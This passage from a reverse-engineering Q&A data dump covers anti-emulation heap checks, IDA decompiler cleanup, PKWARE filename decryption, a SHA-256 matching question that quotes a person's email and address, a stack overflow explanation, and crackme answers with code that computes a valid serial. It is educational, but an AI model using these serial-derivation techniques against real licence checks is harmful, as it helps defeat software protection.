  <row Id="21998" PostTypeId="2" ParentId="21844" CreationDate="2019-08-29T10:41:11.860" Score="1" Body="&lt;p&gt;I have not 100% idea how do they use this information, but what I suspect from information supplied by other participants of this conversation and also information from Internet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In Android JNI application, &lt;code&gt;Java&lt;/code&gt; doesn't use &lt;code&gt;malloc&lt;/code&gt; to allocate Java object. Instead, Java has its own memory manager. So, Java code has a very little influence on what &lt;code&gt;malloc&lt;/code&gt; return.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;malloc&lt;/code&gt; prefers to use the same arena for the same thread if possible; so, in most cases other JNI calls made from other threads will not influence what does &lt;code&gt;malloc&lt;/code&gt; returns.&lt;/li&gt;&#xA;&lt;li&gt;It means, that &lt;code&gt;malloc&lt;/code&gt; will often return data allocated by the same thread. In JNI, we usually don't create long living C/C++ objects and prefer to use Java as memory manager, because it is problematic to free C++ memory in Java. &lt;code&gt;finalize&lt;/code&gt; doesn't provide any guarantees! So, even if we will try to free C++ data associated with Java object in &lt;code&gt;finalize&lt;/code&gt;, we can never know for sure that we'll not get memory leak, because OS will never call &lt;code&gt;finalize&lt;/code&gt;.&#xA;So, we may expect that 99% of &lt;code&gt;malloc&lt;/code&gt; made during JNI call will call &lt;code&gt;free&lt;/code&gt; during the same call.&lt;/li&gt;&#xA;&lt;li&gt;So, we can use uninitialized data to detect (with some probability) that our shared library is loaded in some unusual environment.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Lets imagine following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void MarkHeap()&#xA;{&#xA;    static const char *ones = &quot;11....1&quot;; // String that contains 1024 ones&#xA;    auto some_data = malloc(1024);&#xA;    memcpy(some_data, ones, 1024);&#xA;    free(some_data);&#xA;}&#xA;&#xA;size_t CheckMarkHeap()&#xA;{&#xA;    auto some_data = malloc(100);&#xA;    size_t ones_count = 0;&#xA;    for(size_t i = 0; i &amp;lt; 100; ++i)&#xA;        if(some_data[i] == '1')&#xA;            ++ones_count;&#xA;    free(some_data);&#xA;    return ones_count;&#xA;}&#xA;&#xA;MarkHeap();&#xA;auto ones_count = CheckMarkHeap()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we can expect that very often &lt;code&gt;ones_count&lt;/code&gt; will equal to 100! We can now use this strategy to check (with some probability) if &lt;code&gt;CheckMarkHeap&lt;/code&gt; is called soon after &lt;code&gt;MarkHeap&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In situation where &lt;code&gt;CheckMarkHeap&lt;/code&gt; calculates any kind of security token, we can afraid that anyone will try to use our own shared library to bypass our protection; in case of Android, we can extract shared library from APK and try to interpret it with Android emulator or any embedded ARM emulation library like &lt;code&gt;unicorn&lt;/code&gt;. If we implemented &lt;code&gt;MarkHeap&lt;/code&gt; in another shared library that doesn't draw attacker attention and somehow call it before &lt;code&gt;CheckMarkHeap&lt;/code&gt;, we have a good chance to detect that our security library is loaded from unusual context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, we can not ban immediately for that, because any random events may affect &lt;code&gt;ones_count&lt;/code&gt;. However, if &lt;code&gt;ones_count&lt;/code&gt; is not 100 in more than 60% of calls, we can make any soft penalty to suspicious account (for example, ask for phone verification, SafetyNet verification, show CAPTCHA more often, send account to human moderation, etc).&lt;/p&gt;&#xA;" OwnerUserId="18321" LastActivityDate="2019-08-29T10:41:11.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21999" PostTypeId="1" CreationDate="2019-08-29T12:35:36.567" Score="1" ViewCount="368" Body="&lt;p&gt;When I am working on a source code recovery project I am usually left with a lot of code that needs to be manually cleaned up by hand. This can take a lot of time and as projects get larger , I am looking for a way to accomplish this quicker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EXAMPLE Code before cleanup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  __int64 v3; // rax&#xA;  __int64 v4; // r8&#xA;  __int64 v5; // rax&#xA;  __int64 v6; // r8&#xA;  __int64 v7; // rax&#xA;  __int64 v8; // r8&#xA;  __int64 v9; // rax&#xA;  __int64 v10; // r8&#xA;  __int64 v11; // rax&#xA;  __int64 v12; // r8&#xA;  __int64 v13; // rax&#xA;  __int64 v14; // r8&#xA;  __int64 v15; // rax&#xA;  __int64 v16; // rax&#xA;  Books books; // [rsp+20h] [rbp-E8h]&#xA;&#xA;  strcpy(books.title, &quot;Learn C++ Programming&quot;);&#xA;  strcpy(books.author, &quot;Chand Miyan&quot;);&#xA;  strcpy(books.subject, &quot;C++ Programming&quot;);&#xA;  LODWORD(books.id) = 6495407;&#xA;  v3 = sub_1400011D0(std::cout, &quot;Book 1 title : &quot;, envp);&#xA;  v5 = sub_1400011D0(v3, &amp;amp;books, v4);&#xA;  std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(v5, sub_1400013A0);&#xA;  v7 = sub_1400011D0(std::cout, &quot;Book 1 author : &quot;, v6);&#xA;  v9 = sub_1400011D0(v7, books.author, v8);&#xA;  std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(v9, sub_1400013A0);&#xA;  v11 = sub_1400011D0(std::cout, &quot;Book 1 subject : &quot;, v10);&#xA;  v13 = sub_1400011D0(v11, books.subject, v12);&#xA;  std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(v13, sub_1400013A0);&#xA;  v15 = sub_1400011D0(std::cout, &quot;Book 1 id : &quot;, v14);&#xA;  v16 = std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(v15, LODWORD(books.id));&#xA;  std::basic_ostream&amp;lt;char,std::char_traits&amp;lt;char&amp;gt;&amp;gt;::operator&amp;lt;&amp;lt;(v16, sub_1400013A0);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the code we can see that std::cout is simply printing the variables . but this code while it makes sense to us humans should be cleaned up more before it becomes useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is AFTER my clean up. By hand...&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct Books {&#xA;    char title[44];&#xA;    char author[56];         &#xA;    char subject[100];       &#xA;    int id;&#xA;&#xA;} books;&#xA;&#xA;&#xA;&#xA;int main(){&#xA;&#xA;    __int64 v3; // rax&#xA;    __int64 v4; // r8&#xA;    __int64 v5; // rax&#xA;&#xA;    Books books; // [rsp+20h] [rbp-E8h]&#xA;&#xA;&#xA;    strcpy(books.title, &quot;Learn C++ Programming&quot;);&#xA;    strcpy(books.author, &quot;Chand Miyan&quot;);&#xA;    strcpy(books.subject, &quot;C++ Programming&quot;);&#xA;    LODWORD(books.id) = 6495407;&#xA;&#xA;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Book 1 title   : &quot; &amp;lt;&amp;lt; &amp;amp;books.title &amp;lt;&amp;lt; std::endl;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Book 1 author  : &quot; &amp;lt;&amp;lt; &amp;amp;books.author &amp;lt;&amp;lt; std::endl;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Book 1 subject : &quot; &amp;lt;&amp;lt; books.subject &amp;lt;&amp;lt; std::endl;&#xA;    std::cout &amp;lt;&amp;lt; &quot;Book 1 id : &quot;      &amp;lt;&amp;lt; LODWORD(books.id) &amp;lt;&amp;lt; std::endl;&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The answer doesn't have to be through IDAPython, but I think it would be a good place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far what I have , is this and I am not sure if these is even the right step to go. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c=idaapi.decompile(0x0000000140001000 ) //&#xA;for v in c.lvars:&#xA;  print v.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This though, just prints off the variable names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I more automate clean up Ida produced code.&#xA;Here is a similar question to mine , but I don't think this explores the possiblity of other options or using  IDAPython. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14455/cleaning-hexrays-output&quot;&gt;Cleaning HexRays Output&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastActivityDate="2019-08-29T12:35:36.567" Title="How Can I Clean Up After IDA Decompation with IDAPython or other resource" Tags="|decompilation|idapython|hexrays|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22000" PostTypeId="1" CreationDate="2019-08-29T12:47:59.900" Score="2" ViewCount="126" Body="&lt;p&gt;I have a password-protected zip file, where the paths and filenames of each file are encrypted using PKWARE encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The password is known and correct, and so is the encryption algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have sample plaintext, and an application (32-bit closed-source, optimized, no debug symbols) that can correctly decrypt the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a sample of the partially decrypted file names, alongside some fully decrypted file names.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/b9JCh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9JCh.png&quot; alt=&quot;Partially correctly decrypted file names&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a sample of the fully decrypted files, generated by the closed-source program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y3g2n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y3g2n.png&quot; alt=&quot;Fully correctly decrypted files&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can observe, for the majority of the files, the file names can be correctly decrypted. However, for a small set, I get partially decoded file names, and mojibake for the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, &lt;strong&gt;why is this happening and what should I do to rectify it?&lt;/strong&gt; I am confused because I was expecting 100% rubbish if my decryption implementation was wrong. Partially correct output was not really what I expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that each file name is independently decrypted, in other words, the decryption of the next file does not depend on the decryption of the previous file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decryption implementation is more or less the same as that is described &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static uint32_t keys[3];&#xA;&#xA;// CRC32_table is from zlib&#xA;uint32_t compute_crc32(uint32_t crc, char c) {&#xA;    return CRC32_table[(crc ^ c) &amp;amp; 0xff] ^ (crc &amp;gt;&amp;gt; 8);&#xA;}&#xA;&#xA;void init_keys(const std::string&amp;amp; password) {&#xA;    keys = { 0x12345678, 0x23456789, 0x34567890 };&#xA;    for (size_t i = 0; i &amp;lt; password.size(); ++i)&#xA;        key_update(keys, password[i]);&#xA;}&#xA;&#xA;void update_keys(char c) {&#xA;    keys[0] = compute_crc32(keys[0], c);&#xA;    keys[1] = keys[1] + (keys[0] &amp;amp; 0xff);&#xA;    keys[1] = (keys[1] * 0x8088405) + 1;&#xA;    keys[2] = compute_crc32(keys[2], keys[1] &amp;gt;&amp;gt; 24);&#xA;}&#xA;&#xA;char decrypt_byte() {&#xA;    uint16_t temp = (keys[2] &amp;amp; 0xffff) | 2;&#xA;    return char(((temp * (temp ^ 1))&amp;gt;&amp;gt; 8) &amp;amp; 0xff);&#xA;}&#xA;&#xA;std::string decrypt(const std::string&amp;amp; password,&#xA;                    const std::string&amp;amp; input) {&#xA;    init_keys(password);&#xA;    auto ret = std::string(input.size(), '\0');&#xA;    for (int i = 0; i &amp;lt; input.size(); ++i) {&#xA;        char c = input[i] ^ decrypt_byte();&#xA;        update_keys(c);&#xA;        ret[i] = c;&#xA;    }&#xA;    return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the files are still correctly decrypted and unzipped, it is only the file names that are scrambled.&lt;/p&gt;&#xA;" OwnerUserId="29447" LastActivityDate="2019-08-29T19:20:09.823" Title="Partially correctly decoded strings from pkware zip with known plaintext" Tags="|windows|decryption|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22004" PostTypeId="1" CreationDate="2019-08-29T15:23:14.330" Score="0" ViewCount="250" Body="&lt;p&gt;I have a hash and what I think is its original value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DRMSoftwareRadio-MERLIN-00000218&#xA;20030130&#xA;Frank Garnier&#xA;Frank.Garnier@rnw.nl&#xA;Witte Kruislaan 55&#xA;Hilversum&#xA;1217AM&#xA;Netherlands&#xA;a9ba81b656e632dfdeaa2889c7a1be385cf8d351e194dedb1813a00b7d7c2c55&#xA;99b9e76825dc15ca02319b9ac513e84e48a38364c218918403c224bc4ff57e48&#xA;fde9381908812fb42badd491f87f7517c66cdfd6dabad086fb4ed21448123e8e&#xA;92a8c2ae5a1e245283cc1ac66b3e0f9f2e855993fe082a5a5949cfdb4e2e78ea&#xA;5b996cbd1bfe938c28ab4b5d0273322d47ccf4c526756184175cc35ec9be6e25&#xA;5c909807d11e6b59bff2599347f7b09b49de6e46d8c1561cec06435b5787bd3f&#xA;fbefca813967061dad73f65918169a039d3d41fa315ba1f04d50276de58f8c17&#xA;9e80a9323c238c6359f7cbb95d1a18edaab116e9178a6c88a000179dac5c41d2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this hash is some of this values above&#xA;and think that &lt;code&gt;20030130&lt;/code&gt; should belong to&lt;code&gt;99b9e76825dc15ca02319b9ac513e84e48a38364c218918403c224bc4ff57e48&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so how can I figure out if &lt;code&gt;20030130&lt;/code&gt; (because there are only numbers and its short) belongs to any of this hashes and possibly hash it in such a way I get one of this hashes for it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for Anwsering and Best Regards&lt;/p&gt;&#xA;" OwnerUserId="23062" LastActivityDate="2023-12-22T18:06:35.863" Title="cracking SHA256 if you think you know its original value but don't know which is it" Tags="|hash-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22005" PostTypeId="2" ParentId="22004" CreationDate="2019-08-29T15:57:13.573" Score="0" Body="&lt;p&gt;Just plug it in any SHA256 hash-algorithm calculator and see! You can &lt;a href=&quot;https://www.movable-type.co.uk/scripts/sha256.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;do this online&lt;/a&gt; or use a simple Python module like &lt;a href=&quot;https://docs.python.org/2/library/hashlib.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hashlib&lt;/a&gt; to hash things on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using both the online program and a simple python3 script I wrote, &lt;code&gt;20030130&lt;/code&gt; doesn't match any of the hashes listed (instead producing the hash &lt;code&gt;8fbaf5a8fedcebe1214b6fd23bec5db357ba4f6323630a1d59ffe86d948f0b81&lt;/code&gt;). There is a good chance a &lt;a href=&quot;https://en.wikipedia.org/wiki/Salt_(cryptography)&quot; rel=&quot;nofollow noreferrer&quot;&gt;salt&lt;/a&gt; could be being used, which means the hashes would have a different word prepended that makes cracking a hash more difficult.&lt;/p&gt;&#xA;" OwnerUserId="24714" LastActivityDate="2019-08-29T15:57:13.573" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22006" PostTypeId="2" ParentId="21995" CreationDate="2019-08-29T18:07:10.253" Score="2" Body="&lt;p&gt;The &lt;code&gt;esp&lt;/code&gt; value at the end of the function is computed based on the &lt;code&gt;ecx&lt;/code&gt; value stored on the stack. This value is stored immediately &quot;above&quot; (has higher address) the buffer which in your case has &lt;code&gt;260&lt;/code&gt; bytes instead of &lt;code&gt;256&lt;/code&gt; (notice &lt;code&gt;sub esp, 0x104&lt;/code&gt; - the reason behind this is to keep the stack aligned to &lt;code&gt;16&lt;/code&gt; bytes before each function call). So why does providing &lt;code&gt;260&lt;/code&gt; bytes causes segmentation fault at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Because you are providing &lt;code&gt;261&lt;/code&gt; bytes&lt;/strong&gt; since there is one extra &lt;code&gt;NULL&lt;/code&gt; byte at the end of each string in C! So what happens, is that &lt;strong&gt;you are actually overwriting the least significant byte of &lt;code&gt;ecx&lt;/code&gt; value stored on the stack&lt;/strong&gt;. You set it as &lt;code&gt;0x00&lt;/code&gt;, so it most likely decreases its value. At the end of the function, &lt;code&gt;esp&lt;/code&gt; gets the value &lt;code&gt;ecx-0x4=previous_ecx/256-4&lt;/code&gt; instead of &lt;code&gt;previous_ecx-4&lt;/code&gt;, so &lt;code&gt;ret&lt;/code&gt; will set &lt;code&gt;eip&lt;/code&gt; according to that value. As you see, &lt;code&gt;esp&lt;/code&gt; has most likely decresed, so that now it points to &quot;ZZZZ&quot; inside the buffer. The image below shows the stack layout of the program:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SgaG1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgaG1.jpg&quot; alt=&quot;stackLayout&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you put only &quot;A&quot;'s, exactly the same thing happens. The situation slightly changes when you put more &quot;A&quot;'s, but just look at the &lt;code&gt;ecx&lt;/code&gt; value shown by &lt;code&gt;gdb&lt;/code&gt;: it gets more &lt;code&gt;0x41&lt;/code&gt;'s at the end and the &lt;code&gt;NULL&lt;/code&gt; byte before, causing &lt;code&gt;esp&lt;/code&gt; to be changed to more random values.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-08-30T09:50:40.257" LastActivityDate="2019-08-30T09:50:40.257" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22007" PostTypeId="2" ParentId="22000" CreationDate="2019-08-29T19:20:09.823" Score="1" Body="&lt;p&gt;Afaik the standard ZIP format does &lt;strong&gt;not&lt;/strong&gt; encrypt filenames but only the files' content. So it seems that this software implemented a custom ZIP extension for encrypting filenames based on the same algorithm. It looks like you've got it very close, so now you just need to step through the code in the original binary and your algorithm working on the same data and see where the discrepancy occurs. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-08-29T19:20:09.823" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22008" PostTypeId="1" CreationDate="2019-08-30T03:43:01.150" Score="1" ViewCount="293" Body="&lt;p&gt;I want to get started in RE and eventually want to be able to figure out how to calculate a serial from a username/license number from program number, etc... (meaning the software tests the serial entered vs an algorithm-generated key resulting from another number or username that is entered).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best software for this? I feel I am most comfortable with x64dbg, but I heard IDA is better and OllyDbg seems to be the popular choice out there. What should I start with? Is x64dbg a &quot;fully-featured&quot; solution that will have everything I need?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What is a good crackme (that comes with a walkthrough/solution) for just this sort of situation?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29459" LastActivityDate="2019-08-30T19:40:34.393" Title="Getting started with RE, with eventually goal being able to make a keygen" Tags="|ida|windows|ollydbg|x64dbg|" AnswerCount="1" CommentCount="1" ClosedDate="2019-08-30T13:22:56.760" ContentLicense="CC BY-SA 4.0" />
  <row Id="22009" PostTypeId="2" ParentId="22008" CreationDate="2019-08-30T13:16:01.103" Score="0" Body="&lt;p&gt;1) ollydbg and x64dbg are debuggers (with limited functionality to annotate knowledge).Their strength is dynamic reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA and Ghidra are reverse engineering tools (IDA with some functionality for debugging). They are for static reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both kinds of tools are useful, both have their places. Generally, the more complex a target is, the more you need IDA/Ghidra in addition to a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) I would actually start out by writing  your own crackme, starting close to „hello world“, and then gradually increasing the difficulty. First get to know the tools and concepts without additional complexity.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastEditorUserId="23656" LastEditDate="2019-08-30T19:40:34.393" LastActivityDate="2019-08-30T19:40:34.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22010" PostTypeId="1" CreationDate="2019-08-30T20:35:05.407" Score="0" ViewCount="86" Body="&lt;p&gt;I've recently gotten into reversing crackmes, and I seem to always fail at the ones similar to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final key that the program uses for comparison is not the key that should be used as input, the key used as input is used in an algorithm with another set of data to check if it generates the final key.&#xA;Here is the code so it makes a bit more sense.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signed __int64 __fastcall ValidateSerials(unsigned int *generatedData, unsigned int *finalCorrectSerial, unsigned int *UserInputSerial)&#xA;{&#xA;  signed int i; // [rsp+0h] [rbp-18h]&#xA;  signed int j; // [rsp+4h] [rbp-14h]&#xA;  signed int currentUserInputsr; // [rsp+8h] [rbp-10h]&#xA;  int v7; // [rsp+Ch] [rbp-Ch]&#xA;&#xA;  for ( i = 0; i &amp;lt; 4; ++i )&#xA;  {&#xA;    v7 = 0;&#xA;    currentUserInputsr = UserInputSerial[i];&#xA;    for ( j = 6; j &amp;gt;= 0; --j )&#xA;    {&#xA;      v7 += generatedData[j] * (currentUserInputsr &amp;amp; 1);&#xA;      currentUserInputsr &amp;gt;&amp;gt;= 1;&#xA;    }&#xA;    if ( v7 != finalCorrectSerial[i] )&#xA;      return 0i64;&#xA;  }&#xA;  return 1i64;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if I know &lt;code&gt;generatedData&lt;/code&gt; and &lt;code&gt;finalCorrectSerial&lt;/code&gt;, how can I generate the correct &lt;code&gt;UserInputSerial&lt;/code&gt;? I've tried to reverse the entire functions logic but I always get it wrong. I'm fairly new into solving keygens such as this but not reverse engineering in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerDisplayName="user29468" LastActivityDate="2019-08-31T15:46:16.410" Title="Figuring out correct user input key from final key + generated buffer" Tags="|c++|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22011" PostTypeId="2" ParentId="22010" CreationDate="2019-08-31T10:12:54.410" Score="0" Body="&lt;p&gt;This function simply checks each input number (&lt;code&gt;UserInputSerial[i]&lt;/code&gt;) whether it is correct and it's doing so by summing up &lt;code&gt;generatedData[j] * (UserInputSerial[i] &amp;amp; (1 &amp;lt;&amp;lt; (6 - j)))&lt;/code&gt;, so it's basically iterating through &lt;code&gt;UserInputSerial[i]&lt;/code&gt;'s &lt;code&gt;7&lt;/code&gt; least significant bytes and if some of them is &lt;code&gt;1&lt;/code&gt; the relevant number from &lt;code&gt;generatedData&lt;/code&gt; will be taken into the sum (&lt;code&gt;v7&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since, I suspect, the author of this crackme wants to accept only one input, &lt;code&gt;v7&lt;/code&gt; has to get different values for all possible inputs, so for each &lt;code&gt;a = UserInputSerial[i1]&lt;/code&gt;, &lt;code&gt;b = UserInputSerial[i2]&lt;/code&gt;, if &lt;code&gt;a != b&lt;/code&gt;, then &lt;code&gt;v7&lt;/code&gt; counted for &lt;code&gt;a&lt;/code&gt; has to be different than &lt;code&gt;v7&lt;/code&gt; counted for &lt;code&gt;b&lt;/code&gt;. In other words, if &lt;code&gt;v7&lt;/code&gt; is function taking &lt;code&gt;UserInputSerial[i]&lt;/code&gt; and &lt;code&gt;generatedData&lt;/code&gt;, it has to be &lt;em&gt;injection&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to generate such a function is to initialise &lt;code&gt;generatedData&lt;/code&gt; in such a way, that &lt;code&gt;generatedData[j] &amp;gt; sum(generatedData[i&amp;lt;j])&lt;/code&gt;. So for example it could be that &lt;code&gt;generatedData[j] = 2^j&lt;/code&gt; or &lt;code&gt;generatedData[j] = 3^j&lt;/code&gt;. So, knowing the correct &lt;code&gt;v7&lt;/code&gt; value for each &lt;code&gt;UserInputSerial[i]&lt;/code&gt; and &lt;code&gt;generatedData&lt;/code&gt;, you should be able to easily obtain the &lt;code&gt;x&lt;/code&gt; such that &lt;code&gt;v7(x, generatedData) = finalCorrectSerial[i]&lt;/code&gt; in a way similar as you would convert &lt;code&gt;finalCorrectSerial[i]&lt;/code&gt; to binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, assuming that indeed &lt;code&gt;generatedData[j] &amp;gt; sum(generatedData[i&amp;lt;j])&lt;/code&gt;, you can write something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char bits[7]; // bits of the correct UserInputSerial[i]&#xA;int a = finalCorrectSerial[i];&#xA;for (j = 6; j &amp;gt;= 0; j--)&#xA;{&#xA;    if (a &amp;gt;= generatedData[j])&#xA;    {&#xA;        a -= generatedData[j];&#xA;        bits[j] = 1;&#xA;    }&#xA;    else&#xA;        bits[j] = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it's not the case, you can just check &lt;code&gt;v7(x, generatedData)&lt;/code&gt; for all possible numbers having less or &lt;code&gt;7&lt;/code&gt; bytes and check which one will cause &lt;code&gt;v7&lt;/code&gt; to produce the desired value (&lt;code&gt;finalCorrectSerial[i]&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-08-31T10:20:00.027" LastActivityDate="2019-08-31T10:20:00.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22012" PostTypeId="2" ParentId="22010" CreationDate="2019-08-31T15:46:16.410" Score="1" Body="&lt;p&gt;I wrote a function, that generates a valid input from given &lt;code&gt;generatedData&lt;/code&gt; and &lt;code&gt;finalCorrectSerial&lt;/code&gt;. The function calculates a subset that, when summed up, equals the corresponding value in &lt;code&gt;finalCorrectSerial&lt;/code&gt;. It then creates a valid input from that. (The function &lt;code&gt;subsetSum()&lt;/code&gt; is taken from &lt;a href=&quot;https://www.tutorialspoint.com/Subset-Sum-Problem&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and was modified to return just one subset and that by it's indices):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool subsetSum(unsigned int* set, unsigned int* subSet, int n, int subSize, int total, int nodeCount ,int sum, int* outN) {&#xA;   if( total == sum) {&#xA;       *outN = subSize;&#xA;      return 1;&#xA;   } &#xA;   else {&#xA;      for( int i = nodeCount; i &amp;lt; n; i++ ) {     //find node along breadth&#xA;         subSet[subSize] = i;&#xA;         if (subsetSum(set,subSet,n,subSize+1,total+set[i],i+1,sum, outN)) return 1;     //do for next node in depth&#xA;      }&#xA;   }&#xA;   return 0;&#xA;}&#xA;&#xA;bool genInput(unsigned int* generatedData, unsigned int* finalCorrectSerial, unsigned int* out) {&#xA;    for (int i = 0; i &amp;lt; 4; i++) {&#xA;        unsigned int subs[7];&#xA;        int size = 0;&#xA;        subsetSum(generatedData, subs, 7, 0, 0, 0, finalCorrectSerial[i], &amp;amp;size);&#xA;&#xA;        std::cout &amp;lt;&amp;lt; &quot;finalCorrectSerial[&quot; &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &quot;] (&quot; &amp;lt;&amp;lt; finalCorrectSerial[i] &amp;lt;&amp;lt; &quot;) has &quot; &amp;lt;&amp;lt; (size ? &quot;a&quot; : &quot;no&quot;) &amp;lt;&amp;lt; &quot; subset (indices): &quot;;&#xA;        for (int j = 0; j &amp;lt; size; j++ ) {&#xA;            std::cout &amp;lt;&amp;lt; subs[j] &amp;lt;&amp;lt; &quot; &quot;;&#xA;        }&#xA;        std::cout &amp;lt;&amp;lt; &quot;\n&quot;;&#xA;&#xA;        if (!size) return 0;&#xA;&#xA;        for (int j = 0; j &amp;lt; size; j++) {&#xA;            out[i] |= (1u &amp;lt;&amp;lt; (6 - subs[j]));&#xA;        }&#xA;&#xA;    }&#xA;    return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A test run (with arbitrary numbers):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;  unsigned int genData[] = { 10, 55, 1, 3, 7, 98, 1};&#xA;  unsigned int key[] = { 66, 5, 4, 5};&#xA;  unsigned int input[4] = { 0 };&#xA;&#xA;  std::cout &amp;lt;&amp;lt; 